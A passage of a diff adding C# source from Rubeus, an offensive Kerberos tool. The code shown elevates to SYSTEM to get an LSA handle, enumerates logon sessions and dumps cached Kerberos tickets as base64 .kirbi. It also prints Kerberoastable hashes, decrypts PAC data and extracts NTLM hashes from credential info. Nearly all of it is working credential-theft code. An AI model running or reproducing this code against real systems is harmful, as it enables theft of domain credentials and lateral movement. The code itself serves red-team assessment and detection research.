+ } + // should now have the proper privileges to get a Handle to LSA + lsaHandle = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + Interop.RevertToSelf(); + } + } + } + + return lsaHandle; + } + + public static KRB_CRED ExtractTicket(IntPtr lsaHandle, int authPack, LUID userLogonID, string targetName, UInt32 ticketFlags = 0) + { + // extracts an encoded KRB_CRED for a specified userLogonID (LUID) and targetName (SPN) + // by calling LsaCallAuthenticationPackage() w/ the KerbRetrieveEncodedTicketMessage message type + + var responsePointer = IntPtr.Zero; + var request = new Interop.KERB_RETRIEVE_TKT_REQUEST(); + var response = new Interop.KERB_RETRIEVE_TKT_RESPONSE(); + var returnBufferLength = 0; + var protocalStatus = 0; + KRB_CRED ticketKirbi = null; + + // signal that we want encoded .kirbi's returned + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage; + + // the specific logon session ID + request.LogonId = userLogonID; + //request.TicketFlags = ticketFlags; + request.TicketFlags = 0x0; + // Note: ^ if a ticket has the forwarded flag (instead of initial), hard specifying the ticket + // flags here results in no match, and a new (RC4_HMAC?) ticket is requested but not cached + // from https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/ns-ntsecapi-kerb_retrieve_tkt_request : + // "If there is no match in the cache, a new ticket with the default flag values will be requested." + // Yes, I know this is weird. No, I have no idea why it happens. Specifying 0x0 (the default) will return just the main + // (initial) TGT, or a forwarded ticket if that's all that exists (a la the printer bug) + request.CacheOptions = 0x8; // KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_AS_KERB_CRED - return the ticket as a KRB_CRED credential + request.EncryptionType = 0x0; + + // the target ticket name we want the ticket for + var tName = new Interop.UNICODE_STRING(targetName); + request.TargetName = tName; + + // the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST + // for KerbRetrieveEncodedTicketMessages + + // create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len + var structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST)); + var newStructSize = structSize + tName.MaximumLength; + var unmanagedAddr = Marshal.AllocHGlobal(newStructSize); + + // marshal the struct from a managed object to an unmanaged block of memory. + Marshal.StructureToPtr(request, unmanagedAddr, false); + + // set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST + var newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize)); + + // copy unicode chars to the new location + Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); + + // update the target name buffer ptr + Marshal.WriteIntPtr(unmanagedAddr, IntPtr.Size == 8 ? 24 : 16, newTargetNameBuffPtr); + + // actually get the data + int retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, + unmanagedAddr, newStructSize, out responsePointer, + out returnBufferLength, out protocalStatus); + + // TODO: is this needed? + //if (retCode != 0) + //{ + // throw new NtException(retCode); + //} + + // translate the LSA error (if any) to a Windows error + var winError = Interop.LsaNtStatusToWinError((uint)protocalStatus); + + if ((retCode == 0) && ((uint)winError == 0) && + (returnBufferLength != 0)) + { + // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure + response = + (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure( + (System.IntPtr)responsePointer, + typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); + + var encodedTicketSize = response.Ticket.EncodedTicketSize; + + // extract the ticket, build a KRB_CRED object, and add to the cache + var encodedTicket = new byte[encodedTicketSize]; + Marshal.Copy(response.Ticket.EncodedTicket, encodedTicket, 0, + encodedTicketSize); + + ticketKirbi = new KRB_CRED(encodedTicket); + } + else + { + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine( + "\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", + winError, targetName, errorMessage); + } + + // clean up + Interop.LsaFreeReturnBuffer(responsePointer); + Marshal.FreeHGlobal(unmanagedAddr); + + return ticketKirbi; + } + + public static List EnumerateTickets(bool extractTicketData = false, LUID targetLuid = new LUID(), string targetService = null, string targetUser = null, string targetServer = null, bool includeComputerAccounts = true, bool silent = false) + { + // Enumerates Kerberos tickets with various targeting options + + // targetLuid - the target logon ID (LUID) to extract tickets for. Requires elevation. + // targetService - the target service name to extract tickets for (use "krbtgt" for TGTs) + // extractTicketData - extract full ticket data instead of just metadata information + // targetUser - the target user name to extract tickets for + // targetServer - the target full SPN (i.e. cifs/machine.domain.com) to extract tickets for + // includeComputerAccounts - bool to include computer accounts in the output + + // For elevated enumeration, the code first elevates to SYSTEM and uses LsaRegisterLogonProcessHelper() connect to LSA + // then calls LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type to enumerate all cached tickets + // and finally uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type + // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs) + + // For elevated enumeration, the code first uses LsaConnectUntrusted() to connect and LsaCallAuthenticationPackage w/ a KerbQueryTicketCacheMessage message type + // to enumerate all cached tickets, then uses LsaCallAuthenticationPackage w/ a KerbRetrieveEncodedTicketMessage message type + // to extract the Kerberos ticket data in .kirbi format (service tickets and TGTs) + + // adapted partially from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2939-L2950 + // and https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/ + // also Jared Atkinson's work at https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1 + + + // sanity checks + if (!Helpers.IsHighIntegrity() && ( ((ulong)targetLuid != 0) || (!String.IsNullOrEmpty(targetUser)) ) ) + { + Console.WriteLine("[X] You need to be in high integrity for the actions specified."); + return null; + } + + if (!silent) + { + // silent mode is for "monitor"/"harvest" to prevent this data display each time + if (!String.IsNullOrEmpty(targetService)) + { + Console.WriteLine("[*] Target service : {0:x}", targetService); + } + if (!String.IsNullOrEmpty(targetServer)) + { + Console.WriteLine("[*] Target server : {0:x}", targetServer); + } + if (!String.IsNullOrEmpty(targetUser)) + { + Console.WriteLine("[*] Target user : {0:x}", targetUser); + } + if (((ulong)targetLuid != 0)) + { + Console.WriteLine("[*] Target LUID : {0:x}", targetLuid); + } + + Console.WriteLine("[*] Current LUID : {0}\r\n", Helpers.GetCurrentLUID()); + } + + int retCode; + int authPack; + var name = "kerberos"; + var sessionCreds = new List(); + + Interop.LSA_STRING_IN LSAString; + LSAString.Length = (ushort)name.Length; + LSAString.MaximumLength = (ushort)(name.Length + 1); + LSAString.Buffer = name; + + var lsaHandle = GetLsaHandle(); + + try + { + // obtains the unique identifier for the kerberos authentication package. + retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack); + + // STEP 1 - enumerate all current longon session IDs (LUID) + // if not elevated, this returns the current user's LUID + // if elevated, this returns ALL LUIDs + foreach (var luid in EnumerateLogonSessions()) + { + // if we're targeting a specific LUID, check and skip if needed + if (((ulong)targetLuid != 0) && (luid != targetLuid)) + continue; + + // STEP 2 - get the actual data for this logon session (username, domain, logon time, etc.) + var logonSessionData = new LogonSessionData(); + try + { + logonSessionData = GetLogonSessionData(luid); + } + catch + { + continue; + } + + // start building the result object we want + SESSION_CRED sessionCred = new SESSION_CRED(); + sessionCred.LogonSession = logonSessionData; + sessionCred.Tickets = new List(); + + // phase 1 of targeting + + // exclude computer accounts unless instructed otherwise + if (!includeComputerAccounts && Regex.IsMatch(logonSessionData.Username, ".*\\$$")) + continue; + // if we're enumerating tickets/logon sessions for a specific user + if (!String.IsNullOrEmpty(targetUser) && !Regex.IsMatch(logonSessionData.Username, Regex.Escape(targetUser), RegexOptions.IgnoreCase)) + continue; + + var ticketsPointer = IntPtr.Zero; + var returnBufferLength = 0; + var protocalStatus = 0; + + var ticketCacheRequest = new Interop.KERB_QUERY_TKT_CACHE_REQUEST(); + var ticketCacheResponse = new Interop.KERB_QUERY_TKT_CACHE_RESPONSE(); + Interop.KERB_TICKET_CACHE_INFO_EX ticketCacheResult; + + // input object for querying the ticket cache for a specific logon ID + ticketCacheRequest.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheExMessage; + if (Helpers.IsHighIntegrity()) + { + ticketCacheRequest.LogonId = logonSessionData.LogonID; + } + else + { + // if we're not elevated, we have to have a LUID of 0 here to prevent failure + ticketCacheRequest.LogonId = new LUID(); + } + + var tQueryPtr = Marshal.AllocHGlobal(Marshal.SizeOf(ticketCacheRequest)); + Marshal.StructureToPtr(ticketCacheRequest, tQueryPtr, false); + + // STEP 3 - query LSA, specifying we want information for the ticket cache for this particular LUID + retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, tQueryPtr, + Marshal.SizeOf(ticketCacheRequest), out ticketsPointer, out returnBufferLength, + out protocalStatus); + + if (retCode != 0) + { + throw new NtException(retCode); + } + + if (ticketsPointer != IntPtr.Zero) + { + // parse the returned pointer into our initial KERB_QUERY_TKT_CACHE_RESPONSE structure + ticketCacheResponse = (Interop.KERB_QUERY_TKT_CACHE_RESPONSE)Marshal.PtrToStructure( + (System.IntPtr)ticketsPointer, typeof(Interop.KERB_QUERY_TKT_CACHE_RESPONSE)); + var count2 = ticketCacheResponse.CountOfTickets; + + if (count2 != 0) + { + bool krbtgtFound = false; // for sessions with multiple TGTs (krbtgt service targets), only include one ticket + + // get the size of the structures we're iterating over + var dataSize = Marshal.SizeOf(typeof(Interop.KERB_TICKET_CACHE_INFO_EX)); + + for (var j = 0; j < count2; j++) + { + // iterate through the result structures + var currTicketPtr = (IntPtr)(long)((ticketsPointer.ToInt64() + (int)(8 + j * dataSize))); + + // parse the new ptr to the appropriate structure + ticketCacheResult = (Interop.KERB_TICKET_CACHE_INFO_EX)Marshal.PtrToStructure( + currTicketPtr, typeof(Interop.KERB_TICKET_CACHE_INFO_EX)); + + KRB_TICKET ticket = new KRB_TICKET(); + ticket.StartTime = DateTime.FromFileTime(ticketCacheResult.StartTime); + ticket.EndTime = DateTime.FromFileTime(ticketCacheResult.EndTime); + ticket.RenewTime = DateTime.FromFileTime(ticketCacheResult.RenewTime); + ticket.TicketFlags = (Interop.TicketFlags)ticketCacheResult.TicketFlags; + ticket.EncryptionType = ticketCacheResult.EncryptionType; + ticket.ServerName = Marshal.PtrToStringUni(ticketCacheResult.ServerName.Buffer, ticketCacheResult.ServerName.Length / 2); + ticket.ServerRealm = Marshal.PtrToStringUni(ticketCacheResult.ServerRealm.Buffer, ticketCacheResult.ServerRealm.Length / 2); + ticket.ClientName = Marshal.PtrToStringUni(ticketCacheResult.ClientName.Buffer, ticketCacheResult.ClientName.Length / 2); + ticket.ClientRealm = Marshal.PtrToStringUni(ticketCacheResult.ClientRealm.Buffer, ticketCacheResult.ClientRealm.Length / 2); + + bool includeTicket = true; + + if ( !String.IsNullOrEmpty(targetService) && !Regex.IsMatch(ticket.ServerName, String.Format(@"^{0}/.*", Regex.Escape(targetService)), RegexOptions.IgnoreCase)) + { + includeTicket = false; + } + if (!String.IsNullOrEmpty(targetServer) && !Regex.IsMatch(ticket.ServerName, String.Format(@".*/{0}", Regex.Escape(targetServer)), RegexOptions.IgnoreCase)) + { + includeTicket = false; + } + + if (Regex.IsMatch(ticket.ServerName, @"^krbtgt/.*", RegexOptions.IgnoreCase)) + { + if(krbtgtFound) + { + includeTicket = false; + } + else + { + krbtgtFound = true; + } + } + + if (includeTicket) + { + if (extractTicketData) + { + // STEP 4 - query LSA again, specifying we want the actual ticket data for this particular ticket (.kirbi/KRB_CRED) + ticket.KrbCred = ExtractTicket(lsaHandle, authPack, ticketCacheRequest.LogonId, ticket.ServerName, ticketCacheResult.TicketFlags); + } + sessionCred.Tickets.Add(ticket); + } + } + } + } + + // cleanup + Interop.LsaFreeReturnBuffer(ticketsPointer); + Marshal.FreeHGlobal(tQueryPtr); + + sessionCreds.Add(sessionCred); + } + // disconnect from LSA + Interop.LsaDeregisterLogonProcess(lsaHandle); + + return sessionCreds; + } + catch (Exception ex) + { + Console.WriteLine("[X] Exception: {0}", ex); + return null; + } + } + + #endregion + + + #region Output + + public static void DisplaySessionCreds(List sessionCreds, TicketDisplayFormat displayFormat, bool showAll = false) + { + // displays a given .kirbi (KRB_CRED) object, with display options + + // sessionCreds - list of one or more SESSION_CRED objects + // displayFormat - the TicketDisplayFormat to display the tickets in ("Triage" table, traditional "Klist", or "Full" for full ticket extraction) + // displayTGT - shortened display for monitor/harvesting + // displayB64ticket - display a base64 encoded version of the ticket + // extractKerberoastHash - extract out the rc4_hmac "kerberoastable" hash, if possible + + // used for table output + var table = new ConsoleTable("LUID", "UserName", "Service", "EndTime"); + + foreach (var sessionCred in sessionCreds) + { + // don't display logon sessions with no tickets + if( (sessionCred.Tickets.Count == 0) && (!showAll)) + { + continue; + } + + if ( (displayFormat == TicketDisplayFormat.Full) || displayFormat == TicketDisplayFormat.Klist) + { + Console.WriteLine(" UserName : {0}", sessionCred.LogonSession.Username); + Console.WriteLine(" Domain : {0}", sessionCred.LogonSession.LogonDomain); + Console.WriteLine(" LogonId : {0}", sessionCred.LogonSession.LogonID); + Console.WriteLine(" UserSID : {0}", sessionCred.LogonSession.Sid); + Console.WriteLine(" AuthenticationPackage : {0}", sessionCred.LogonSession.AuthenticationPackage); + Console.WriteLine(" LogonType : {0}", sessionCred.LogonSession.LogonType); + Console.WriteLine(" LogonTime : {0}", sessionCred.LogonSession.LogonTime); + Console.WriteLine(" LogonServer : {0}", sessionCred.LogonSession.LogonServer); + Console.WriteLine(" LogonServerDNSDomain : {0}", sessionCred.LogonSession.DnsDomainName); + Console.WriteLine(" UserPrincipalName : {0}\r\n", sessionCred.LogonSession.Upn); + } + + for(int j = 0; j < sessionCred.Tickets.Count; j++) + { + var ticket = sessionCred.Tickets[j]; + + if (displayFormat == TicketDisplayFormat.Triage) + { + table.AddRow(sessionCred.LogonSession.LogonID.ToString(), String.Format("{0} @ {1}", ticket.ClientName, ticket.ClientRealm), ticket.ServerName, ticket.EndTime.ToString()); + } + else if (displayFormat == TicketDisplayFormat.Klist) + { + Console.WriteLine(" [{0:x}] - 0x{1:x} - {2}", j, (int)ticket.EncryptionType, (Interop.KERB_ETYPE)ticket.EncryptionType); + Console.WriteLine(" Start/End/MaxRenew: {0} ; {1} ; {2}", ticket.StartTime, ticket.EndTime, ticket.RenewTime); + Console.WriteLine(" Server Name : {0} @ {1}", ticket.ServerName, ticket.ServerRealm); + Console.WriteLine(" Client Name : {0} @ {1}", ticket.ClientName, ticket.ClientRealm); + Console.WriteLine(" Flags : {0} ({1:x})\r\n", ticket.TicketFlags, (UInt32)ticket.TicketFlags); + } + else if (displayFormat == TicketDisplayFormat.Full) + { + if (ticket.KrbCred != null) + { + DisplayTicket(ticket.KrbCred, 4, false, true, false); + } + } + } + } + + if (displayFormat == TicketDisplayFormat.Triage) + { + // write out the table + table.Write(); + } + } + + public static void DisplayTicket(KRB_CRED cred, int indentLevel = 2, bool displayTGT = false, bool displayB64ticket = false, bool extractKerberoastHash = false, bool nowrap = false, byte[] serviceKey = null, byte[] asrepKey = null, string serviceUser = "", string serviceDomain = "", byte[] krbKey = null) + { + // displays a given .kirbi (KRB_CRED) object, with display options + + // cred - the KRB_CRED object to display + // indentLevel - level of indent, default of 2 + // displayTGT - shortened display for monitor/harvesting + // displayB64ticket - display a base64 encoded version of the ticket + // extractKerberoastHash - extract out the rc4_hmac "kerberoastable" hash, if possible + // nowrap - don't wrap base64 ticket output + + var userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray()); + var sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray()); + var keyType = String.Format("{0}", (Interop.KERB_ETYPE)cred.enc_part.ticket_info[0].key.keytype); + var b64Key = Convert.ToBase64String(cred.enc_part.ticket_info[0].key.keyvalue); + var eType = (Interop.KERB_ETYPE)cred.tickets[0].enc_part.etype; + var base64ticket = Convert.ToBase64String(cred.Encode().Encode()); + string indent = new string(' ', indentLevel); + string serviceName = sname.Split('/')[0]; + + + if (displayTGT) + { + // abbreviated display used for monitor/etc. + Console.WriteLine("{0}User : {1}@{2}", indent, userName, cred.enc_part.ticket_info[0].prealm); + Console.WriteLine("{0}StartTime : {1}", indent, cred.enc_part.ticket_info[0].starttime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0}EndTime : {1}", indent, cred.enc_part.ticket_info[0].endtime.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0}RenewTill : {1}", indent, cred.enc_part.ticket_info[0].renew_till.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0}Flags : {1}", indent, cred.enc_part.ticket_info[0].flags); + Console.WriteLine("{0}Base64EncodedTicket :\r\n", indent); + + if (Rubeus.Program.wrapTickets) + { + foreach (var line in Helpers.Split(base64ticket, 100)) + { + Console.WriteLine("{0} {1}", indent, line); + } + } + else + { + Console.WriteLine("{0} {1}", indent, base64ticket); + } + } + else + { + // full display with session key + Console.WriteLine("\r\n{0}ServiceName : {1}", indent, sname); + Console.WriteLine("{0}ServiceRealm : {1}", indent, cred.enc_part.ticket_info[0].srealm); + Console.WriteLine("{0}UserName : {1}", indent, userName); + Console.WriteLine("{0}UserRealm : {1}", indent, cred.enc_part.ticket_info[0].prealm); + Console.WriteLine("{0}StartTime : {1}", indent, cred.enc_part.ticket_info[0].starttime.ToLocalTime()); + Console.WriteLine("{0}EndTime : {1}", indent, cred.enc_part.ticket_info[0].endtime.ToLocalTime()); + Console.WriteLine("{0}RenewTill : {1}", indent, cred.enc_part.ticket_info[0].renew_till.ToLocalTime()); + Console.WriteLine("{0}Flags : {1}", indent, cred.enc_part.ticket_info[0].flags); + Console.WriteLine("{0}KeyType : {1}", indent, keyType); + Console.WriteLine("{0}Base64(key) : {1}", indent, b64Key); + + //We display the ASREP decryption key as this is needed for decrypting + //PAC_CREDENTIAL_INFO inside both the AS-REP and TGS-REP Tickets when + //PKINIT is used + if (asrepKey != null) + Console.WriteLine("{0}ASREP (key) : {1}", indent, Helpers.ByteArrayToString(asrepKey)); + + if (displayB64ticket) + { + // if we're displaying the base64 encoding of the ticket + Console.WriteLine("{0}Base64EncodedTicket :\r\n", indent); + if (Rubeus.Program.wrapTickets) + { + foreach (var line in Helpers.Split(base64ticket, 100)) + { + Console.WriteLine("{0} {1}", indent, line); + } + } + else + { + Console.WriteLine("{0} {1}", indent, base64ticket); + } + } + + else if (extractKerberoastHash && (serviceName != "krbtgt")) + { + // if this isn't a TGT, try to display a Kerberoastable hash + if (!eType.Equals(Interop.KERB_ETYPE.rc4_hmac) && !eType.Equals(Interop.KERB_ETYPE.aes256_cts_hmac_sha1)) + { + // can only display rc4_hmac as it doesn't have a salt. DES/AES keys require the user/domain as a salt, + // and we don't have the user account name that backs the requested SPN for the ticket, no no dice :( + Console.WriteLine("\r\n[!] Service ticket uses encryption type '{0}', unable to extract hash and salt.", eType); + } + else if (eType.Equals(Interop.KERB_ETYPE.rc4_hmac)) + { + Roast.DisplayTGShash(cred); + } + else if (!String.IsNullOrEmpty(serviceUser)) + { + if (String.IsNullOrEmpty(serviceDomain)) + { + serviceDomain = cred.enc_part.ticket_info[0].prealm; + } + if (serviceUser.EndsWith("$")) + { + serviceUser = String.Format("host{0}.{1}", serviceUser.TrimEnd('$').ToLower(), serviceDomain.ToLower()); + } + Roast.DisplayTGShash(cred, false, serviceUser, serviceDomain); + } + else + { + Console.WriteLine("[!] AES256 in use but no '/serviceuser' passed, unable to generate crackable hash."); + } + } + } + + if (serviceKey != null) { + + try + { + var decryptedEncTicket = cred.tickets[0].Decrypt(serviceKey, asrepKey); + PACTYPE pt = decryptedEncTicket.GetPac(asrepKey); + if (pt == null) + { + Console.WriteLine("[X] Unable to get the PAC"); + return; + } + + if (krbKey == null && (serviceName == "krbtgt") && (cred.enc_part.ticket_info[0].srealm.ToUpper() == sname.Split('/')[1].ToUpper())) + { + krbKey = serviceKey; + } + var validated = decryptedEncTicket.ValidatePac(serviceKey, krbKey); + + Console.WriteLine("{0}Decrypted PAC :", indent); + + foreach(var pacInfoBuffer in pt.PacInfoBuffers) { + + if (pacInfoBuffer is ClientName cn) + { + Console.WriteLine("{0} ClientName :", indent); + Console.WriteLine("{0} Client Id : {1}", indent, cn.ClientId.ToLocalTime().ToString(CultureInfo.CurrentCulture)); + Console.WriteLine("{0} Client Name : {1}", indent, cn.Name); + } + else if (pacInfoBuffer is UpnDns upnDns) + { + Console.WriteLine("{0} UpnDns :", indent); + Console.WriteLine("{0} DNS Domain Name : {1}", indent, upnDns.DnsDomainName); + Console.WriteLine("{0} UPN : {1}", indent, upnDns.Upn); + Console.WriteLine("{0} Flags : {1}", indent, upnDns.Flags); + } + else if (pacInfoBuffer is SignatureData sigData) + { + string validation = "VALID"; + int i2 = 0; + if (sigData.Type == PacInfoBufferType.ServerChecksum && !validated.Item1) + { + validation = "INVALID"; + } + else if (sigData.Type == PacInfoBufferType.KDCChecksum && !validated.Item2 && krbKey != null) + { + validation = "INVALID"; + } + else if (sigData.Type == PacInfoBufferType.TicketChecksum && krbKey != null && !validated.Item3) + { + validation = "INVALID"; + } + else if ((sigData.Type == PacInfoBufferType.KDCChecksum || sigData.Type == PacInfoBufferType.TicketChecksum) && krbKey == null) + { + validation = "UNVALIDATED"; + } + if (sigData.Type == PacInfoBufferType.KDCChecksum) + { + i2 = 3; + } + Console.WriteLine("{0} {1} {2}:", indent, sigData.Type.ToString(), new string(' ', i2)); + Console.WriteLine("{0} Signature Type : {1}", indent, sigData.SignatureType); + Console.WriteLine("{0} Signature : {1} ({2})", indent, Helpers.ByteArrayToString(sigData.Signature), validation); + } + else if (pacInfoBuffer is LogonInfo li) + { + Console.WriteLine("{0} LogonInfo :", indent); + try + { + Console.WriteLine("{0} LogonTime : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogonTime.LowDateTime | ((long)li.KerbValidationInfo.LogonTime.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} LogonTime : {1}", indent, li.KerbValidationInfo.LogonTime); + } + try + { + Console.WriteLine("{0} LogoffTime : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.LogoffTime.LowDateTime | ((long)li.KerbValidationInfo.LogoffTime.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} LogoffTime : {1}", indent, li.KerbValidationInfo.LogoffTime); + } + try + { + Console.WriteLine("{0} KickOffTime : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.KickOffTime.LowDateTime | ((long)li.KerbValidationInfo.KickOffTime.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} KickOffTime : {1}", indent, li.KerbValidationInfo.KickOffTime); + } + try + { + Console.WriteLine("{0} PasswordLastSet : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordLastSet.LowDateTime | ((long)li.KerbValidationInfo.PasswordLastSet.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} PasswordLastSet : {1}", indent, li.KerbValidationInfo.PasswordLastSet); + } + try + { + Console.WriteLine("{0} PasswordCanChange : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordCanChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordCanChange.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} PasswordCanChange : {1}", indent, li.KerbValidationInfo.PasswordCanChange); + } + try + { + Console.WriteLine("{0} PasswordMustChange : {1}", indent, DateTime.FromFileTimeUtc((long)li.KerbValidationInfo.PasswordMustChange.LowDateTime | ((long)li.KerbValidationInfo.PasswordMustChange.HighDateTime << 32)).ToLocalTime()); + } + catch + { + Console.WriteLine("{0} PasswordMustChange : {1}", indent, li.KerbValidationInfo.PasswordMustChange); + } + Console.WriteLine("{0} EffectiveName : {1}", indent, li.KerbValidationInfo.EffectiveName); + Console.WriteLine("{0} FullName : {1}", indent, li.KerbValidationInfo.FullName); + Console.WriteLine("{0} LogonScript : {1}", indent, li.KerbValidationInfo.LogonScript); + Console.WriteLine("{0} ProfilePath : {1}", indent, li.KerbValidationInfo.ProfilePath); + Console.WriteLine("{0} HomeDirectory : {1}", indent, li.KerbValidationInfo.HomeDirectory); + Console.WriteLine("{0} HomeDirectoryDrive : {1}", indent, li.KerbValidationInfo.HomeDirectoryDrive); + Console.WriteLine("{0} LogonCount : {1}", indent, li.KerbValidationInfo.LogonCount); + Console.WriteLine("{0} BadPasswordCount : {1}", indent, li.KerbValidationInfo.BadPasswordCount); + Console.WriteLine("{0} UserId : {1}", indent, li.KerbValidationInfo.UserId); + Console.WriteLine("{0} PrimaryGroupId : {1}", indent, li.KerbValidationInfo.PrimaryGroupId); + Console.WriteLine("{0} GroupCount : {1}", indent, li.KerbValidationInfo.GroupCount); + if (li.KerbValidationInfo.GroupCount > 0) + { + Console.WriteLine("{0} Groups : {1}", indent, li.KerbValidationInfo.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("{0} UserFlags : ({1}) {2}", indent, li.KerbValidationInfo.UserFlags, (Interop.PacUserFlags)li.KerbValidationInfo.UserFlags); + Console.WriteLine("{0} UserSessionKey : {1}", indent, Helpers.ByteArrayToString((byte[])(Array)li.KerbValidationInfo.UserSessionKey.data[0].data)); + Console.WriteLine("{0} LogonServer : {1}", indent, li.KerbValidationInfo.LogonServer); + Console.WriteLine("{0} LogonDomainName : {1}", indent, li.KerbValidationInfo.LogonDomainName); + Console.WriteLine("{0} LogonDomainId : {1}", indent, li.KerbValidationInfo.LogonDomainId?.GetValue()); + Console.WriteLine("{0} UserAccountControl : ({1}) {2}", indent, li.KerbValidationInfo.UserAccountControl, (Interop.PacUserAccountControl)li.KerbValidationInfo.UserAccountControl); + Console.WriteLine("{0} ExtraSIDCount : {1}", indent, li.KerbValidationInfo.SidCount); + if (li.KerbValidationInfo.SidCount > 0) + { + Console.WriteLine("{0} ExtraSIDs : {1}", indent, li.KerbValidationInfo.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + Console.WriteLine("{0} ResourceGroupCount : {1}", indent, li.KerbValidationInfo.ResourceGroupCount); + if (li.KerbValidationInfo.ResourceGroupCount > 0) + { + Console.WriteLine("{0} ResourceGroupSid : {1}", indent, li.KerbValidationInfo.ResourceGroupDomainSid?.GetValue()); + Console.WriteLine("{0} ResourceGroups : {1}", indent, li.KerbValidationInfo.ResourceGroupIds?.GetValue().Select(s => s.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + } + else if (pacInfoBuffer is PacCredentialInfo ci) + { + + Console.WriteLine("{0} CredentialInfo :", indent); + Console.WriteLine("{0} Version : {1}", indent, ci.Version); + Console.WriteLine("{0} EncryptionType : {1}", indent, ci.EncryptionType); + + if (ci.CredentialInfo.HasValue) + { + + Console.WriteLine("{0} CredentialData :", indent); + Console.WriteLine("{0} CredentialCount : {1}", indent, ci.CredentialInfo.Value.CredentialCount); + + foreach (var credData in ci.CredentialInfo.Value.Credentials) + { + string hash = ""; + if ("NTLM".Equals(credData.PackageName.ToString())) + { + int version = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 0); + int flags = BitConverter.ToInt32((byte[])(Array)credData.Credentials, 4); + if (flags == 3) + { + hash = String.Format("{0}:{1}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(8).Take(16).ToArray()), Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + else + { + hash = String.Format("{0}", Helpers.ByteArrayToString(((byte[])(Array)credData.Credentials).Skip(24).Take(16).ToArray())); + } + } + else + { + hash = Helpers.ByteArrayToString((byte[])(Array)credData.Credentials); + } + + Console.WriteLine(" {0} : {1}", credData.PackageName, hash); + } + + } + else + { + Console.WriteLine("{0} CredentialData : *** NO KEY ***", indent); + } + } + else if (pacInfoBuffer is S4UDelegationInfo s4u) + { + Console.WriteLine("{0} S4UDelegationInfo :", indent); + Console.WriteLine("{0} S4U2ProxyTarget : {1}", indent, s4u.s4u.S4U2proxyTarget.ToString()); + Console.WriteLine("{0} TransitedListSize : {1}", indent, s4u.s4u.TransitedListSize); + Console.WriteLine("{0} S4UTransitedServices : {1}", indent, s4u.s4u.S4UTransitedServices.GetValue().Select(s => s.ToString()).Aggregate((cur, next) => cur + " <= " + next)); + } + else if (pacInfoBuffer is Requestor requestor) + { + Console.WriteLine("{0} Requestor :", indent); + Console.WriteLine("{0} RequestorSID : {1}", indent, requestor.RequestorSID.ToString()); + } + else if (pacInfoBuffer is Attributes att) + { + Console.WriteLine("{0} Attributes :", indent); + Console.WriteLine("{0} AttributeLength : {1}", indent, att.Length); + Console.WriteLine("{0} AttributeFlags : ({1}) {2}", indent, (int)att.Flags, att.Flags); + } + } + } + catch + { + Console.WriteLine("[!] Unable to decrypt the EncTicketPart using key: {0}", Helpers.ByteArrayToString(serviceKey)); + Console.WriteLine("[!] Check the right key was passed for the encryption type: {0}", (Interop.KERB_ETYPE)cred.tickets[0].enc_part.etype); + } + } + + Console.WriteLine(); + } + + public static void SaveTicketsToRegistry(List creds, string baseRegistryKey) + { + // saves an array of .kirbis to the registry + + string user = null; + RegistryKey basePath = null; + if (Helpers.IsSystem()) + { + user = "NT AUTHORITY\\SYSTEM"; + } + else + { + user = Environment.UserDomainName + "\\" + Environment.UserName; + }; + + try + { + // first,make 